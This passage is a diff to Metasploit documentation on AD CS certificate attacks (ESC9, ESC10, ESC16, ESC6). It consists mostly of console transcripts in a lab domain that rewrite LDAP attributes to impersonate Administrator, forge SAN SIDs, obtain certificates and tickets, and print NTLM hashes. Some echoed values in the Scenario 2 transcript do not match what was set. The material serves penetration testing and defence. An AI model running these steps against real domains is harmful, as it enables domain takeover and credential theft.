to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
|
||||
order to exploit (a new policy is not required).
|
||||
|
||||
## ESC16 Scenario 1
|
||||
If domain controllers aren’t in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
|
||||
weaker mapping methods like UPN or DNS from the certificate’s SAN potentially reintroducing risks similar to the
|
||||
Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called
|
||||
"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
|
||||
target_username => user2
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
|
||||
ldapusername => user1
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
|
||||
UPDATE_LDAP_OBJECT_VALUE => Administrator
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
|
||||
ca => kerberos-dc2-ca
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
|
||||
cert_template => ESC16-Template
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: user2
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for user2
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for user2
|
||||
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
|
||||
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - Certificate UPN: Administrator
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
|
||||
[*] 172.16.199.200:445 - reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: Administrator
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
|
||||
```
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
|
||||
[*] Running module against 172.16.199.200
|
||||
[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
|
||||
[!] * Administrator@
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
|
||||
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### ESC16 Scenario 2
|
||||
If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
|
||||
prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
|
||||
to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
|
||||
then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
|
||||
certificate mapping.
|
||||
|
||||
In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
|
||||
(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
|
||||
inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
|
||||
`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
|
||||
intended to help support strong certificate mappings between the user SID and the certificate.
|
||||
|
||||
Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
|
||||
(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
|
||||
|
||||
The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
|
||||
any LDAP objects, and so we can use the `icpr_cert` module to request a certificate.
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
|
||||
alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn Administrator@kerberos.issue
|
||||
alt_upn => Administrator@msf.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ca kerberos-DC2-CA
|
||||
ca => msf-DC3-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set cert_template User
|
||||
cert_template => User
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.16.199.200
|
||||
RHOSTS => 172.16.199.130
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
|
||||
smbdomain => msf.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
|
||||
smbpass => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
|
||||
smbuser => user1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.4 (Secure Email)
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
|
||||
[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
|
||||
[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
|
||||
[*] Using action GET_TGT - view all 3 actions with the show actions command
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
|
||||
[*] Running module against 172.16.199.200
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
|
||||
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
|
||||
that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
|
||||
|
||||
## Setting up A Vulnerable AD CS Server
|
||||
The following steps assume that you have installed an AD CS on either a new or existing domain controller.
|
||||
### Installing AD CS
|
||||
1. Open the Server Manager
|
||||
2. Select Add roles and features
|
||||
3. Select "Active Directory Certificate Services" under the "Server Roles" section
|
||||
4. When prompted add all of the features and management tools
|
||||
5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
|
||||
6. Completion the installation and reboot the server
|
||||
7. Reopen the Server Manager
|
||||
8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
|
||||
9. Select "Certificate Authority" in the Role Services tab
|
||||
10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
|
||||
11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
|
||||
12. Accept the rest of the default settings and complete the configuration
|
||||
|
||||
### Setting up a ESC1 Vulnerable Certificate Template
|
||||
1. Open up the run prompt and type in `certsrv`.
|
||||
2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
|
||||
3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
|
||||
4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
|
||||
5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
|
||||
6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
|
||||
7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed. Then click the `Apply` button.
|
||||
8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
|
||||
9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
|
||||
10. Click `Apply` and then `Ok`
|
||||
11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC2 Vulnerable Certificate Template
|
||||
1. Open up `certsrv`
|
||||
2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
|
||||
3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
|
||||
4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
|
||||
5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
|
||||
6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
|
||||
7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
|
||||
8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
|
||||
9. Click the `Apply` button, and then `OK`. The certificate should now be created.
|
||||
10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
|
||||
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
|
||||
3. Click `Apply`.
|
||||
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
|
||||
5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
|
||||
6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
|
||||
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
|
||||
3. Click `Apply`.
|
||||
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
|
||||
5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
|
||||
6. Click `Apply` and then click `OK` to issue the certificate.
|
||||
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
|
||||
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC8 Vulnerable Host
|
||||
1. Follow instructions for creating an AD CS enabled server
|
||||
2. Select Add Roles and Features
|
||||
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
|
||||
4. For each selection, accept the default for any pop-up.
|
||||
5. Accept the default features and install.
|
||||
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
|
||||
7. Under Credentials, accept the default
|
||||
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
|
||||
9. In CA for CES, accept the defaults
|
||||
10. In Authentication Types, accept the default integrated authentication
|
||||
11. In Service account for CES, select `Use built-in application pool identity`
|
||||
12. Accept default integrated authentication for CEP
|
||||
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
|
||||
14. Accept the remaining defaults.
|
||||
The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
|
||||
|
||||
@@ -142,7 +142,7 @@ Optional options:
|
||||
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
|
||||
* `write-only` -- New tickets are requested and they are stored for reuse.
|
||||
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
|
||||
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
|
||||
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
|
||||
|
||||
## Ticket management
|
||||
|
||||
|
||||
@@ -0,0 +1,208 @@
|
||||
## Vulnerable Application
|
||||
This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
|
||||
attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
|
||||
certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
|
||||
encrypted with a blank password.
|
||||
|
||||
To perform the LDAP attribute update, the module requires write privileges over the
|
||||
target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
|
||||
before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
|
||||
to handle LDAP attribute updates.
|
||||
|
||||
|
||||
This module is capable of exploiting ESC9, ESC10, and ESC16.
|
||||
|
||||
### Setup
|
||||
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
|
||||
For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
|
||||
|
||||
## Options
|
||||
|
||||
### LDAPUsername
|
||||
The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
|
||||
|
||||
### LDAPPassword
|
||||
The password for the `LDAPUsername` account.
|
||||
|
||||
### LDAPDomain
|
||||
The domain of the `LDAPUsername`, e.g., `demo.local`.
|
||||
|
||||
### CA
|
||||
The target certificate authority.
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The certificate template to issue, e.g., "User".
|
||||
|
||||
### TARGET_USERNAME
|
||||
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
|
||||
|
||||
### UPDATE_LDAP_OBJECT
|
||||
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
|
||||
|
||||
### UPDATE_LDAP_OBJECT_VALUE
|
||||
The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
|
||||
If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
|
||||
|
||||
### ALT_UPN
|
||||
An alternate UPN (User Principal Name) to set for the target user, e.g., `Administrator@domain.local`.
|
||||
|
||||
### ALT_SID
|
||||
An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
|
||||
|
||||
### ALT_DNS
|
||||
An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use esc_update_ldap_object`
|
||||
1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
|
||||
1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
|
||||
1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
|
||||
1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
|
||||
1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
|
||||
1. Run the module
|
||||
1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
|
||||
1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ESC9 - Update userPrincipalName to Administrator
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
|
||||
target_username => user2
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
|
||||
ldapusername => user1
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
|
||||
cert_template => SpencerTest
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
|
||||
ca => kerberos-DC2-CA
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
|
||||
UPDATE_LDAP_OBJECT_VALUE => Administrator
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: user2
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for user2
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for user2
|
||||
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
|
||||
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - Certificate UPN: Administrator
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
|
||||
[*] 172.16.199.200:445 - reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] No matching entries found - check device ID
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: Administrator
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
|
||||
target_username => Test2$
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
|
||||
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
|
||||
UPDATE_LDAP_OBJECT => dNSHostName
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
|
||||
CA => kerberos-DC2-CA
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
|
||||
CERT_TEMPLATE => ESC9-Template-Dns
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
|
||||
ldapusername => Test1$
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of Test2$'s dNSHostName:
|
||||
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
|
||||
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
|
||||
